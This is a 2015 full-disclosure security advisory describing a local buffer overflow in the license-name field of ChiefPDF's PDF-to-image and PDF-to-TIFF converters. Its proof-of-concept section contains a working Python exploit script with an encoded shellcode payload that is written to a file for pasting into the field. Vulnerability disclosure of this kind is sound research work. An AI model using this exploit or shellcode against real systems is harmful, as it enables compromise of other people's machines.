Date: Thu, 20 Aug 2015 14:32:02 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] ChiefPDF Software v2.x - Buffer Overflow Vulnerability

Document Title:
===============
ChiefPDF Software v2.x - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1578


Release Date:
=============
2015-08-20


Vulnerability Laboratory ID (VL-ID):
====================================
1578


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
High Volume Batch OCR Conversion.
High Performance TIFF to PDF OCR.&#8206; High-Volume Tiff To PDF Conversions.
Find Out How Easy it Can Be!&#8206; Convert scanned documents & images. Searchable PDF.

(Copy of the Vendor Homepage: http://www.chiefpdf.com  & http://www.soft32.com/publishers/chiefpdf/)


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official ChiefPDF Software Clients v2.0.


Vulnerability Disclosure Timeline:
==================================
2015-08-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
ChiefPDF Software
Product: PDF to Image Converter PDF to Image Converter Free, PDF to Tiff Converter & PDF  2.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local buffer overflow vulnerability has been discovered  in the official ChiefPDF Software Clients v2.0.
The buffer overflow vulnerability can be exploited by local attackers to compromise a target system or 
to gain higher access privileges for further exploitation.

The buffer overflow vulnerability is located in the `Registration - License Name` input field of the software client.
The issue is a classic unicode buffer overflow vulnerability that allows an attacker to compromise the local system.
The vulnerability can be exploited in all software clients like the PDF to Image Converter 2.0, PDF to Image Converter 
Free 2.0, PDF to Tiff Converter 2.0 and PDF to Tiff Converter Free 2.0.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.3. 
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the 
vulnerability results in system compromise by elevation of privileges via overwrite of the registers.

Vulnerable Module(s):
				[+] Registration - License Name

Vulnerable Program(s):
				[+] PDF to Image Converter 2.0
				[+] PDF to Image Converter Free 2.0
				[+] PDF to Tiff Converter 2.0
				[+] PDF to Tiff Converter Free 2.0


Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

PoC: ChiefPDF.py

#!/usr/bin/python
#Exploit Title:ChiefPDF Software Buffer Overflow 
#vulnerable programs:
#PDF to Image Converter 2.0
#PDF to Image Converter Free 2.0
#PDF to Tiff Converter 2.0
#PDF to Tiff Converter Free 2.0
#Software Link:http://www.soft32.com/publishers/chiefpdf/
#Author: metacom - twitter.com/m3tac0m
#Tested on: Win-Xp-sp3, Win-7, Win-8.1

#How to use: Copy the AAAA...+ string from regkey.txt and paste -> Registration - License Name: (input) 
buffer="A" * 544
buffer+="\xeb\x06\x90\x90"
buffer+="\x8B\x89\x03\x10"# 1003898B   5E   POP ESI 
buffer+="\x90" * 80
buffer+=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"
"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"
"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"
"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"
"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"
"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"
"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"
"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"
"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"
"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"
"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"
"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"
"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"
"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"
"\xea\x47")
file = open('regkey.txt','wb')
file.write(buffer);
file.close()


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the chiefpdf software clients is estimated as high. (CVSS 7.3)


Credits & Authors:
==================
metacom  - [http://www.vulnerability-lab.com/show.php?user=metacom]


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=========================
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